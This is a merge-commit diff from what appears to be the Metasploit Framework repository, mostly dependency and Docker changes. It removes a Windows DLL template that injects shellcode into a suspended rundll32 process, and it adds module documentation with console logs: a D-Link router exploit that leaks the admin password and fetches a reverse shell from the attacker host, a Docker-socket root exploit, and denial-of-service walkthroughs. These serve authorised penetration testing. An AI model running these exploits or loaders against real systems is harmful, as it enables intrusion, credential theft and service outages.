Merge branch 'upstream-master' into land-9126-

MS-2855/keylogger-mettle-extension
Brent Cook 2017-12-11 03:57:00 -06:00
commit 1653e31f71
319 changed files with 5905 additions and 1408 deletions

View File

@ -34,7 +34,7 @@ config/database.yml
# target config file for testing # target config file for testing
features/support/targets.yml features/support/targets.yml
# simplecov coverage data # simplecov coverage data
coverage coverage/
doc/ doc/
external/source/meterpreter/java/bin external/source/meterpreter/java/bin
external/source/meterpreter/java/build external/source/meterpreter/java/build

1
.gitignore vendored
View File

@ -88,6 +88,7 @@ data/meterpreter/ext_server_pivot.*.dll
# local docker compose overrides # local docker compose overrides
docker-compose.local* docker-compose.local*
.env
# Ignore python bytecode # Ignore python bytecode
*.pyc *.pyc

View File

@ -25,7 +25,7 @@ matrix:
jobs: jobs:
# build docker image # build docker image
include: include:
- env: CMD="docker-compose -f $TRAVIS_BUILD_DIR/docker-compose.yml build" DOCKER="true" - env: CMD="docker-compose build" DOCKER="true"
# we do not need any setup # we do not need any setup
before_install: skip before_install: skip
install: skip install: skip

View File

@ -1,14 +1,17 @@
FROM ruby:2.4.2-alpine FROM ruby:2.4.2-alpine
MAINTAINER Rapid7 LABEL maintainer="Rapid7"
ARG BUNDLER_ARGS="--jobs=8 --without development test coverage" ARG BUNDLER_ARGS="--jobs=8 --without development test coverage"
ENV APP_HOME /usr/src/metasploit-framework/ ENV APP_HOME /usr/src/metasploit-framework/
ENV MSF_USER msf ENV MSF_USER msf
ENV NMAP_PRIVILEGED="" ENV NMAP_PRIVILEGED=""
ENV BUNDLE_IGNORE_MESSAGES="true"
WORKDIR $APP_HOME WORKDIR $APP_HOME
COPY Gemfile* m* Rakefile $APP_HOME COPY Gemfile* metasploit-framework.gemspec Rakefile $APP_HOME
COPY lib $APP_HOME/lib COPY lib/metasploit/framework/version.rb $APP_HOME/lib/metasploit/framework/version.rb
COPY lib/metasploit/framework/rails_version_constraint.rb $APP_HOME/lib/metasploit/framework/rails_version_constraint.rb
COPY lib/msf/util/helper.rb $APP_HOME/lib/msf/util/helper.rb
RUN apk update && \ RUN apk update && \
apk add \ apk add \
@ -45,7 +48,7 @@ RUN apk update && \
RUN adduser -g msfconsole -D $MSF_USER RUN adduser -g msfconsole -D $MSF_USER
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby) RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which ruby)
RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip /usr/bin/nmap RUN /usr/sbin/setcap cap_net_raw,cap_net_bind_service=+eip $(which nmap)
USER $MSF_USER USER $MSF_USER

View File

@ -1,7 +1,7 @@
PATH PATH
remote: . remote: .
specs: specs:
metasploit-framework (4.16.13) metasploit-framework (4.16.23)
actionpack (~> 4.2.6) actionpack (~> 4.2.6)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -17,9 +17,9 @@ PATH
metasploit-concern metasploit-concern
metasploit-credential metasploit-credential
metasploit-model metasploit-model
metasploit-payloads (= 1.3.11) metasploit-payloads (= 1.3.18)
metasploit_data_models metasploit_data_models
metasploit_payloads-mettle (= 0.2.2) metasploit_payloads-mettle (= 0.2.8)
msgpack msgpack
nessus_rest nessus_rest
net-ssh net-ssh
@ -49,7 +49,7 @@ PATH
rex-mime rex-mime
rex-nop rex-nop
rex-ole rex-ole
rex-powershell (< 0.1.73) rex-powershell (< 0.1.78)
rex-random_identifier rex-random_identifier
rex-registry rex-registry
rex-rop_builder rex-rop_builder
@ -112,43 +112,43 @@ GEM
builder (3.2.3) builder (3.2.3)
coderay (1.1.2) coderay (1.1.2)
concurrent-ruby (1.0.5) concurrent-ruby (1.0.5)
crass (1.0.2) crass (1.0.3)
diff-lcs (1.3) diff-lcs (1.3)
dnsruby (1.60.2) dnsruby (1.60.2)
docile (1.1.5) docile (1.1.5)
erubis (2.7.0) erubis (2.7.0)
factory_girl (4.8.1) factory_girl (4.9.0)
activesupport (>= 3.0.0) activesupport (>= 3.0.0)
factory_girl_rails (4.8.0) factory_girl_rails (4.9.0)
factory_girl (~> 4.8.0) factory_girl (~> 4.9.0)
railties (>= 3.0.0) railties (>= 3.0.0)
faraday (0.13.1) faraday (0.13.1)
multipart-post (>= 1.2, < 3) multipart-post (>= 1.2, < 3)
ffi (1.9.18) ffi (1.9.18)
filesize (0.1.1) filesize (0.1.1)
fivemat (1.3.5) fivemat (1.3.5)
google-protobuf (3.4.1.1) google-protobuf (3.5.0)
googleapis-common-protos-types (1.0.0) googleapis-common-protos-types (1.0.1)
google-protobuf (~> 3.0) google-protobuf (~> 3.0)
googleauth (0.5.3) googleauth (0.6.2)
faraday (~> 0.12) faraday (~> 0.12)
jwt (~> 1.4) jwt (>= 1.4, < 3.0)
logging (~> 2.0) logging (~> 2.0)
memoist (~> 0.12) memoist (~> 0.12)
multi_json (~> 1.11) multi_json (~> 1.11)
os (~> 0.9) os (~> 0.9)
signet (~> 0.7) signet (~> 0.7)
grpc (1.6.7) grpc (1.7.3)
google-protobuf (~> 3.1) google-protobuf (~> 3.1)
googleapis-common-protos-types (~> 1.0.0) googleapis-common-protos-types (~> 1.0.0)
googleauth (~> 0.5.1) googleauth (>= 0.5.1, < 0.7)
hashery (2.1.2) hashery (2.1.2)
i18n (0.9.0) i18n (0.9.1)
concurrent-ruby (~> 1.0) concurrent-ruby (~> 1.0)
jsobfu (0.4.2) jsobfu (0.4.2)
rkelly-remix rkelly-remix
json (2.1.0) json (2.1.0)
jwt (1.5.6) jwt (2.1.0)
little-plugger (1.1.4) little-plugger (1.1.4)
logging (2.2.2) logging (2.2.2)
little-plugger (~> 1.1) little-plugger (~> 1.1)
@ -178,7 +178,7 @@ GEM
activemodel (~> 4.2.6) activemodel (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
railties (~> 4.2.6) railties (~> 4.2.6)
metasploit-payloads (1.3.11) metasploit-payloads (1.3.18)
metasploit_data_models (2.0.15) metasploit_data_models (2.0.15)
activerecord (~> 4.2.6) activerecord (~> 4.2.6)
activesupport (~> 4.2.6) activesupport (~> 4.2.6)
@ -189,11 +189,11 @@ GEM
postgres_ext postgres_ext
railties (~> 4.2.6) railties (~> 4.2.6)
recog (~> 2.0) recog (~> 2.0)
metasploit_payloads-mettle (0.2.2) metasploit_payloads-mettle (0.2.8)
method_source (0.9.0) method_source (0.9.0)
mini_portile2 (2.3.0) mini_portile2 (2.3.0)
minitest (5.10.3) minitest (5.10.3)
msgpack (1.1.0) msgpack (1.2.0)
multi_json (1.12.2) multi_json (1.12.2)
multipart-post (2.0.0) multipart-post (2.0.0)
nessus_rest (0.1.6) nessus_rest (0.1.6)
@ -223,10 +223,10 @@ GEM
activerecord (>= 4.0.0) activerecord (>= 4.0.0)
arel (>= 4.0.1) arel (>= 4.0.1)
pg_array_parser (~> 0.0.9) pg_array_parser (~> 0.0.9)
pry (0.11.2) pry (0.11.3)
coderay (~> 1.1.0) coderay (~> 1.1.0)
method_source (~> 0.9.0) method_source (~> 0.9.0)
public_suffix (3.0.0) public_suffix (3.0.1)
rack (1.6.8) rack (1.6.8)
rack-test (0.6.3) rack-test (0.6.3)
rack (>= 1.0) rack (>= 1.0)
@ -243,16 +243,16 @@ GEM
activesupport (= 4.2.10) activesupport (= 4.2.10)
rake (>= 0.8.7) rake (>= 0.8.7)
thor (>= 0.18.1, < 2.0) thor (>= 0.18.1, < 2.0)
rake (12.1.0) rake (12.3.0)
rb-readline (0.5.5) rb-readline (0.5.5)
rbnacl (4.0.2) rbnacl (4.0.2)
ffi ffi
rbnacl-libsodium (1.0.13) rbnacl-libsodium (1.0.15.1)
rbnacl (>= 3.0.1) rbnacl (>= 3.0.1)
recog (2.1.15) recog (2.1.17)
nokogiri nokogiri
redcarpet (3.4.0) redcarpet (3.4.0)
rex-arch (0.1.11) rex-arch (0.1.13)
rex-text rex-text
rex-bin_tools (0.1.4) rex-bin_tools (0.1.4)
metasm metasm
@ -265,7 +265,7 @@ GEM
metasm metasm
rex-arch rex-arch
rex-text rex-text
rex-exploitation (0.1.15) rex-exploitation (0.1.16)
jsobfu jsobfu
metasm metasm
rex-arch rex-arch
@ -278,7 +278,7 @@ GEM
rex-arch rex-arch
rex-ole (0.1.6) rex-ole (0.1.6)
rex-text rex-text
rex-powershell (0.1.72) rex-powershell (0.1.77)
rex-random_identifier rex-random_identifier
rex-text rex-text
rex-random_identifier (0.1.4) rex-random_identifier (0.1.4)
@ -288,7 +288,7 @@ GEM
metasm metasm
rex-core rex-core
rex-text rex-text
rex-socket (0.1.8) rex-socket (0.1.9)
rex-core rex-core
rex-sslscan (0.1.5) rex-sslscan (0.1.5)
rex-core rex-core
@ -311,7 +311,7 @@ GEM
rspec-mocks (3.7.0) rspec-mocks (3.7.0)
diff-lcs (>= 1.2.0, < 2.0) diff-lcs (>= 1.2.0, < 2.0)
rspec-support (~> 3.7.0) rspec-support (~> 3.7.0)
rspec-rails (3.7.1) rspec-rails (3.7.2)
actionpack (>= 3.0) actionpack (>= 3.0)
activesupport (>= 3.0) activesupport (>= 3.0)
railties (>= 3.0) railties (>= 3.0)
@ -348,16 +348,16 @@ GEM
thread_safe (0.3.6) thread_safe (0.3.6)
timecop (0.9.1) timecop (0.9.1)
ttfunk (1.5.1) ttfunk (1.5.1)
tzinfo (1.2.3) tzinfo (1.2.4)
thread_safe (~> 0.1) thread_safe (~> 0.1)
tzinfo-data (1.2017.2) tzinfo-data (1.2017.3)
tzinfo (>= 1.0.0) tzinfo (>= 1.0.0)
windows_error (0.1.2) windows_error (0.1.2)
xdr (2.0.0) xdr (2.0.0)
activemodel (>= 4.2.7) activemodel (>= 4.2.7)
activesupport (>= 4.2.7) activesupport (>= 4.2.7)
xmlrpc (0.3.0) xmlrpc (0.3.0)
yard (0.9.9) yard (0.9.12)
PLATFORMS PLATFORMS
ruby ruby
@ -378,4 +378,4 @@ DEPENDENCIES
yard yard
BUNDLED WITH BUNDLED WITH
1.15.4 1.16.0

View File

@ -1,4 +1,4 @@
Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) Metasploit [![Build Status](https://travis-ci.org/rapid7/metasploit-framework.svg?branch=master)](https://travis-ci.org/rapid7/metasploit-framework) [![Code Climate](https://img.shields.io/codeclimate/github/rapid7/metasploit-framework.svg)](https://codeclimate.com/github/rapid7/metasploit-framework) [![Docker Pulls](https://img.shields.io/docker/pulls/metasploitframework/metasploit-framework.svg)](https://hub.docker.com/r/metasploitframework/metasploit-framework/)
== ==
The Metasploit Framework is released under a BSD-style license. See The Metasploit Framework is released under a BSD-style license. See
COPYING for more details. COPYING for more details.

View File

@ -1,15 +0,0 @@
#!/bin/sh
rm -f *.o *.dll
CCx86="i686-w64-mingw32"
CCx64="x86_64-w64-mingw32"
${CCx64}-gcc -m64 -c -Os template.c -Wall -shared
${CCx64}-dllwrap -m64 --def template.def *.o -o temp.dll
${CCx64}-strip -s temp.dll -o ../template_x64_windows.dll
rm -f temp.dll *.o
${CCx86}-gcc -c -Os template.c -Wall -shared
${CCx86}-dllwrap --def template.def *.o -o temp.dll
${CCx86}-strip -s temp.dll -o ../template_x86_windows.dll
rm -f temp.dll *.o

View File

@ -1,95 +0,0 @@
// Based on https://github.com/rapid7/metasploit-framework/tree/cac890a797d0d770260074dfe703eb5cfb63bd46/data/templates/src/pe/dll
// - removed ExitThread(0) to prevent an Explorer crash
// - added Mutex to prevent invoking payload multiple times (at least try)
#include <windows.h>
#include "template.h"
void inline_bzero(void *p, size_t l)
{
BYTE *q = (BYTE *)p;
size_t x = 0;
for (x = 0; x < l; x++)
*(q++) = 0x00;
}
void ExecutePayload(void);
BOOL WINAPI DllMain (HANDLE hDll, DWORD dwReason, LPVOID lpReserved)
{
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
ExecutePayload();
break;
case DLL_PROCESS_DETACH:
break;
case DLL_THREAD_ATTACH:
break;
case DLL_THREAD_DETACH:
break;
}
return TRUE;
}
void ExecutePayload(void)
{
PROCESS_INFORMATION pi;
STARTUPINFO si;
CONTEXT ctx;
LPVOID ep;
HANDLE hMutex;
SECURITY_ATTRIBUTES MutexAttributes;
inline_bzero(&MutexAttributes, sizeof(MutexAttributes));
MutexAttributes.nLength = sizeof(MutexAttributes);
MutexAttributes.bInheritHandle = TRUE; // inherit the handle
hMutex = CreateMutex(&MutexAttributes, TRUE, "MsfMutex");
if(hMutex == NULL)
{
return;
}
if(GetLastError() == ERROR_ALREADY_EXISTS)
{
CloseHandle(hMutex);
return;
}
if(GetLastError() == ERROR_ACCESS_DENIED)
{
CloseHandle(hMutex);
return;
}
// Start up the payload in a new process
inline_bzero(&si, sizeof(si));
si.cb = sizeof(si);
// Create a suspended process, write shellcode into stack, resume it
if(CreateProcess(NULL, "rundll32.exe", NULL, NULL, TRUE, CREATE_SUSPENDED|IDLE_PRIORITY_CLASS, NULL, NULL, &si, &pi)) {
ctx.ContextFlags = CONTEXT_INTEGER|CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
ep = (LPVOID)VirtualAllocEx(pi.hProcess, NULL, SCSIZE, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
WriteProcessMemory(pi.hProcess,(PVOID)ep, &code, SCSIZE, 0);
#ifdef _WIN64
ctx.Rip = (DWORD64)ep;
#else
ctx.Eip = (DWORD)ep;
#endif
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
CloseHandle(pi.hThread);
CloseHandle(pi.hProcess);
}
CloseHandle(hMutex);
}

View File

@ -1,3 +0,0 @@
#define SCSIZE 2048
unsigned char code[SCSIZE] = "PAYLOAD:";

BIN
data/exploits/cve-2017-8464/template_x64_windows.dll Executable file → Normal file

Binary file not shown.

BIN
data/exploits/cve-2017-8464/template_x86_windows.dll Executable file → Normal file

Binary file not shown.

View File

@ -1,13 +1,14 @@
version: '2' version: '3'
services: services:
ms: ms:
build: build:
context: .
dockerfile: ./Dockerfile
args: args:
BUNDLER_ARGS: --jobs=8 BUNDLER_ARGS: --jobs=8
image: metasploit:dev image: metasploit:dev
environment: environment:
DATABASE_URL: postgres://postgres@db:5432/msf_dev DATABASE_URL: postgres://postgres@db:5432/msf_dev
volumes: volumes:
- .:/usr/src/metasploit-framework - .:/usr/src/metasploit-framework

View File

@ -1,10 +1,7 @@
version: '2' version: '3'
services: services:
ms: ms:
image: metasploit image: metasploitframework/metasploit-framework:latest
build:
context: .
dockerfile: ./Dockerfile
environment: environment:
DATABASE_URL: postgres://postgres@db:5432/msf DATABASE_URL: postgres://postgres@db:5432/msf
links: links:
@ -16,7 +13,7 @@ services:
- /etc/localtime:/etc/localtime:ro - /etc/localtime:/etc/localtime:ro
db: db:
image: postgres:9-alpine image: postgres:10-alpine
volumes: volumes:
- pg_data:/var/lib/postgresql/data - pg_data:/var/lib/postgresql/data

View File

@ -3,43 +3,36 @@
To run `msfconsole` To run `msfconsole`
```bash ```bash
docker-compose build
docker-compose run --rm --service-ports ms docker-compose run --rm --service-ports ms
``` ```
or
```bash
./docker/bin/msfconsole
```
To run `msfvenom` To run `msfvenom`
```bash ```bash
docker-compose run --rm ms ./msfvenom docker-compose build
docker-compose run --rm --no-deps ms ./msfvenom
``` ```
or
### I don't like typing `docker-compose --rm ...`
We have included some binstubs `./bin`, you can symlink them to your path.
Assuming you have `$HOME/bin`, and it's in your `$PATH`. You can run this from the project root:
```bash ```bash
ln -s `pwd`/docker/bin/msfconsole $HOME/bin/ ./docker/bin/msfvenom
ln -s `pwd`/docker/bin/msfvenom $HOME/bin/
``` ```
If you set the environment variable `MSF_BUILD` the container will be rebuilt. You can pass any command line arguments to the binstubs or the docker-compose command and they will be passed to `msfconsole` or `msfvenom`. If you need to rebuild an image (for example when the Gemfile changes) you need to build the docker image using `docker-compose build` or supply the `--rebuild` parameter to the binstubs.
```bash
MSF_BUILD=1 ./docker/bin/msfconsole
MSF_BUILD=1 ./docker/bin/msfconsole-dev
```
### But I want reverse shells... ### But I want reverse shells...
By default we expose port `4444`. You'll need to set `LHOST` to be a hostname/ip By default we expose port `4444`.
of your host machine.
If you want to expose more ports, or have `LHOST` prepopulated with a specific If you want to expose more ports, or have `LHOST` prepopulated with a specific
value; you'll need to setup a local docker-compose override for this. value; you'll need to setup a local docker-compose override for this.
Create `docker/docker-compose.local.override.yml` with: Create `docker-compose.local.override.yml` with:
```yml ```yml
version: '2' version: '3'
services: services:
ms: ms:
environment: environment:
@ -56,19 +49,6 @@ Now you need to set the `COMPOSE_FILE` environment variable to load your local
override. override.
```bash ```bash
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.local.override.yml" >> .env echo "COMPOSE_FILE=./docker-compose.yml:./docker-compose.override.yml:./docker-compose.local.override.yml" >> .env
``` ```
Now you should be able get reverse shells working Now you should be able get reverse shells working
## Developing
To setup you environment for development, you need to add `docker/docker-compose.development.override.yml`
to your `COMPOSE_FILE` environment variable.
If you don't have a `COMPOSE_FILE` environment variable, you can set it up with this:
```bash
echo "COMPOSE_FILE=./docker-compose.yml:./docker/docker-compose.development.override.yml" >> .env
```
Alternatively you can also use the `msfconsole-dev` binstub.

View File

@ -19,8 +19,12 @@ fi
cd $MSF_PATH cd $MSF_PATH
if [[ -n "$MSF_BUILD" ]]; then PARAMS="$@"
docker-compose -f $MSF_PATH/docker-compose.yml build
if [[ $PARAMS == *"--rebuild"* ]]; then
echo "Rebuilding image"
docker-compose build
exit $?
fi fi
docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@" docker-compose run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$PARAMS"

View File

@ -1,27 +0,0 @@
#! /bin/bash
if [[ -z "$MSF_PATH" ]]; then
path=`dirname $0`
# check for ./docker/msfconsole.rc
if [[ ! -f $path/../msfconsole.rc ]] ; then
# we are not inside the project
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
# determine script path
pushd $(dirname $(realpath $0)) > /dev/null
path=$(pwd)
popd > /dev/null
fi
MSF_PATH=$(dirname $(dirname $path))
fi
cd $MSF_PATH
if [[ -n "$MSF_BUILD" ]]; then
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
fi
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfconsole -r docker/msfconsole.rc "$@"

View File

@ -17,9 +17,15 @@ if [[ -z "$MSF_PATH" ]]; then
MSF_PATH=$(dirname $(dirname $path)) MSF_PATH=$(dirname $(dirname $path))
fi fi
if [[ -n "$MSF_BUILD" ]]; then cd $MSF_PATH
docker-compose -f $MSF_PATH/docker-compose.yml build
PARAMS="$@"
if [[ $PARAMS == *"--rebuild"* ]]; then
echo "Rebuilding image"
docker-compose build
exit $?
fi fi
cd $MSF_PATH # we need no database here
docker-compose run --rm --service-ports ms ./msfvenom "$@" docker-compose run --rm --no-deps ms ./msfvenom "$PARAMS"

View File

@ -1,26 +0,0 @@
#! /bin/bash
if [[ -z "$MSF_PATH" ]]; then
path=`dirname $0`
# check for ./docker/msfconsole.rc
if [[ ! -f $path/../msfconsole.rc ]] ; then
# we are not inside the project
realpath --version > /dev/null 2>&1 || { echo >&2 "I couldn't find where metasploit is. Set \$MSF_PATH or execute this from the project root"; exit 1 ;}
# determine script path
pushd $(dirname $(realpath $0)) > /dev/null
path=$(pwd)
popd > /dev/null
fi
MSF_PATH=$(dirname $(dirname $path))
fi
cd $MSF_PATH
if [[ -n "$MSF_BUILD" ]]; then
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml build
fi
docker-compose -f $MSF_PATH/docker-compose.yml -f $MSF_PATH/docker/docker-compose.development.override.yml run --rm --service-ports ms ./msfvenom "$@"

View File

@ -0,0 +1,67 @@
## Vulnerable Application
This module exploits a vulnerability in the built-in web-browser of IBM Lotus Notes client application.
If a user is persuaded to click on a malicious link, it would open up many file select dialog boxes which,
would cause the client hang and have to be restarted.
Affected Products and Versions
IBM Notes 9.0.1 to 9.0.1 FP8 IF1
IBM Notes 9.0 to 9.0 IF4.
IBM Notes 8.5.3 to 8.5.3 FP6 IF13.
IBM Notes 8.5.2 to 8.5.2 FP4 IF3.
IBM Notes 8.5.1. to 8.5.1 FP5 IF5.
IBM Notes 8.5 release
Related security bulletin from IBM: http://www-01.ibm.com/support/docview.wss?uid=swg21999384
## Verification
Start msfconsole
`use auxiliary/dos/http/ibm_lotus_notes2.rb`
Set `SRVHOST`
Set `SRVPORT`
run (Server started)
Visit server URL in the built-in web-browser of IBM Notes client application
## Scenarios
```
msf > use auxiliary/dos/http/ibm_lotus_notes2
msf auxiliary(ibm_lotus_notes2) > show options
Module options (auxiliary/dos/http/ibm_lotus_notes2):
Name Current Setting Required Description
---- --------------- -------- -----------
SRVHOST 0.0.0.0 yes The local host to listen on. This must be an address on the local machine or 0.0.0.0
SRVPORT 8080 yes The local port to listen on.
SSL false no Negotiate SSL for incoming connections
SSLCert no Path to a custom SSL certificate (default is randomly generated)
URIPATH no The URI to use for this exploit (default is random)
Auxiliary action:
Name Description
---- -----------
WebServer
msf auxiliary(ibm_lotus_notes2) > set SRVHOST 192.168.0.50
SRVHOST => 192.168.0.50
msf auxiliary(ibm_lotus_notes2) > set SRVPORT 9092
SRVPORT => 9092
msf auxiliary(ibm_lotus_notes2) > run
[*] Auxiliary module execution completed
msf auxiliary(ibm_lotus_notes2) >
[*] Using URL: http://192.168.0.50:9092/mypath
[*] Server started.
msf auxiliary(ibm_lotus_notes2) >
```
At this point, the target should use the built-in web browser of their IBM Lotus Notes client to navigate to the above "Using URL" value. And then they should see their Notes app become unresponsive.

View File

@ -0,0 +1,47 @@
## Vulnerable Application
This module tries to keep many connections to the target web server open and hold them open as long as possible.
To test this module download and setup the Metasploitable 2 vulnerable Linux virtual machine available at [https://sourceforge.net/projects/metasploitable/files/Metasploitable2/](https://sourceforge.net/projects/metasploitable/files/Metasploitable2/).
Vulnerable application versions include:
- Apache HTTP Server 1.x and 2.x
- Apache Tomcat 5.5.0 through 5.5.29, 6.0.0 through 6.0.27 and 7.0.0 beta
## Verification Steps
1. Start msfconsole
2. Do: `use auxiliary/dos/http/slowloris`
3. Do: `set RHOST`
4. Do: `run`
5. Visit server URL in your web-browser.
## Scenarios
### Apache/2.2.8 - Ubuntu 8.04
```
msf > use auxiliary/dos/http/slowloris
msf auxiliary(slowloris) > show options
Module options (auxiliary/dos/http/slowloris):
Name Current Setting Required Description
---- --------------- -------- -----------
delay 15 yes The delay between sending keep-alive headers
rand_user_agent true yes Randomizes user-agent with each request
rhost 172.28.128.4 yes The target address
rport 80 yes The target port
sockets 150 yes The number of sockets to use in the attack
ssl false yes Negotiate SSL/TLS for outgoing connections
msf auxiliary(slowloris) > set rhost 172.28.128.4
rhost => 172.28.128.4
msf auxiliary(slowloris) > run
[*] Starting server...
[*] Attacking 172.28.128.4 with 150 sockets
[*] Creating sockets...
[*] Sending keep-alive headers... Socket count: 150
```

View File

@ -0,0 +1,64 @@
The module dlink_dir850_(un)auth_exec leverages an unauthenticated credential disclosure vulnerability to then execute arbitrary commands via an authenticated OS command injection
vulnerability. D-LINK 850L (excluding "Cloud" models) devices with firmware version up to 1.14B07
are potentially vulnerable. The vulnerability seems to occur within the parsing of the config. Another PoC can be found here https://www.seebug.org/vuldb/ssvid-96333. Setting command to be `reboot` will force the router into an infinite loop.
## Vulnerable Application
1. Start msfconsole
2. Do : `use exploit/linux/http/dlink_dir850l_unauth_exec.rb`
3. Do : `set RHOST [RouterIP]`
4. Do : `set PAYLOAD linux/mipsbe/shell/reverse_tcp`
5. Do : `run`
6. If router is vulnerable, payload should be dropped via wget and executed, and therein should obtain an session
## Example
```
msf > use exploit/linux/http/dlink_dir850l_unauth_exec
msf exploit(dlink_dir850l_unauth_exec) > set RHOST 192.168.0.14
RHOST => 192.168.0.14
msf exploit(dlink_dir850l_unauth_exec) > set RPORT 80
RPORT => 80
msf exploit(dlink_dir850l_unauth_exec) > check
[*] 192.168.0.14:80 The target service is running, but could not be validated.
msf exploit(dlink_dir850l_unauth_exec) > set VERBOSE true
VERBOSE => true
msf exploit(dlink_dir850l_unauth_exec) > set LHOST ens3
LHOST => ens3
msf exploit(dlink_dir850l_unauth_exec) > set LPORT 3131
LPORT => 3131
msf exploit(dlink_dir850l_unauth_exec) > run
[*] Started reverse TCP handler on 192.168.0.11:3131
[*] 192.168.0.14:80 - Connecting to target...
[+] 192.168.0.14:80 - Retrieved the username/password combo Admin/92830535
[+] 192.168.0.14:80 - Downloaded credentials to /root/.msf4/loot/20171104113614_default_192.168.0.14_dlink.dir850l.lo_146186.txt
[*] 192.168.0.14:80 - Starting up web service http://192.168.0.11:8080/ZUrlVeWUm
[*] Using URL: http://0.0.0.0:8080/ZUrlVeWUm
[*] Local IP: http://192.168.0.11:8080/ZUrlVeWUm
[*] 192.168.0.14:80 - Asking target to request to download http://192.168.0.11:8080/ZUrlVeWUm
[*] 192.168.0.14:80 - Waiting for target to request the ELF payload...
[*] 192.168.0.14:80 - Sending payload to the server...
[*] 192.168.0.14:80 - Requesting device to chmod ZUrlVeWUm
[*] 192.168.0.14:80 - Requesting device to execute ZUrlVeWUm
[*] 192.168.0.14:80 - Waiting 10 seconds for shell to connect back to us...
[*] Sending stage (84 bytes) to 192.168.0.14
[*] Command shell session 1 opened (192.168.0.11:3131 -> 192.168.0.14:43953) at 2017-11-04 11:36:26 -0400
[+] Deleted /tmp/uoskutcy
[-] Exploit aborted due to failure: unknown: 192.168.0.14:80 - Shell never connected to us!, disconnect?
[*] Server stopped.
[*] Exploit completed, but no session was created.
msf exploit(dlink_dir850l_unauth_exec) > sessions -i 1
[*] Starting interaction with 1...
190745749
wUVNdEKSrgeaxdSQyfTyxvaoYgFzyvGj
true
pQfaUhhwMvgnWrLpQXhhUAioNBFHPRZP
OgkEaOTPYbUEOLlLpLFEbodBvHFmVRmH
iNaYBrmsZqFyolPWWRKEHsKglrSlSGkY
pwd
/
```

View File

@ -67,6 +67,8 @@ OK
[Disable][5] or [protect][6] the Docker tcp socket. [Disable][5] or [protect][6] the Docker tcp socket.
[User namespaces][7] did **not** protect against this.
# Exploitation # Exploitation
This module is designed for the attacker to leverage, creation of a This module is designed for the attacker to leverage, creation of a
Docker container with out authentication through the Docker tcp socket Docker container with out authentication through the Docker tcp socket
@ -88,8 +90,8 @@ to gain root access to the hosting server of the Docker container.
msf > use exploit/linux/http/docker_daemon_tcp msf > use exploit/linux/http/docker_daemon_tcp
msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23 msf exploit(docker_daemon_tcp) > set RHOST 192.168.66.23
RHOST => 192.168.66.23 RHOST => 192.168.66.23
msf exploit(docker_daemon_tcp) > set PAYLOAD python/meterpreter/reverse_tcp msf exploit(docker_daemon_tcp) > set PAYLOAD linux/x64/meterpreter/reverse_tcp
PAYLOAD => python/meterpreter/reverse_tcp PAYLOAD => linux/x64/meterpreter/reverse_tcp
msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10 msf exploit(docker_daemon_tcp) > set LHOST 192.168.66.10
LHOST => 192.168.66.10 LHOST => 192.168.66.10
msf exploit(docker_daemon_tcp) > set VERBOSE true msf exploit(docker_daemon_tcp) > set VERBOSE true
@ -108,18 +110,17 @@ msf exploit(docker_daemon_tcp) > run
[*] Waiting for the cron job to run, can take up to 60 seconds [*] Waiting for the cron job to run, can take up to 60 seconds
[*] Waiting until the docker container stopped [*] Waiting until the docker container stopped
[*] The docker container has been stopped, now trying to remove it [*] The docker container has been stopped, now trying to remove it
[*] Sending stage (40411 bytes) to 192.168.66.23 [*] Sending stage (2878936 bytes) to 192.168.66.23
[*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200 [*] Meterpreter session 1 opened (192.168.66.10:4444 -> 192.168.66.23:35050) at 2017-07-25 14:03:02 +0200
[+] Deleted /etc/cron.d/lVoepNpy [+] Deleted /etc/cron.d/lVoepNpy
[+] Deleted /tmp/poasDIuZ [+] Deleted /tmp/poasDIuZ
meterpreter > sysinfo meterpreter > sysinfo
Computer : debian Computer : rancher
OS : Linux 4.9.0-3-amd64 #1 SMP Debian 4.9.30-2+deb9u2 (2017-06-26) OS : Debian 9.1 (Linux 4.9.0-3-amd64)
Architecture : x64 Architecture : x64
System Language : en_US Meterpreter : x64/linux
Meterpreter : python/linux
meterpreter > meterpreter >
``` ```
@ -129,3 +130,4 @@ meterpreter >
[4]:https://docs.docker.com/engine/admin/systemd/ [4]:https://docs.docker.com/engine/admin/systemd/
[5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options [5]:https://docs.docker.com/engine/reference/commandline/dockerd/#options
[6]:https://docs.docker.com/engine/security/https/ [6]:https://docs.docker.com/engine/security/https/
[7]:https://docs.docker.com/engine/security/userns-remap/#disable-namespace-remapping-for-a-container

View File

@ -0,0 +1,251 @@
## Description
This module exploits a vulnerability found in Mako Server v2.5, 2.6.
It's possible to inject arbitrary OS commands in the Mako Server tutorial page through a PUT request to save.lsp. Attacker input will be saved on the victims machine and can be executed by sending a GET request to manage.lsp.
Based on the public PoC found here: https://blogs.securiteam.com/index.php/archives/3391
## Vulnerable Application
[Mako Server](https://makoserver.net) is an application framework for designing web and IoT applications.
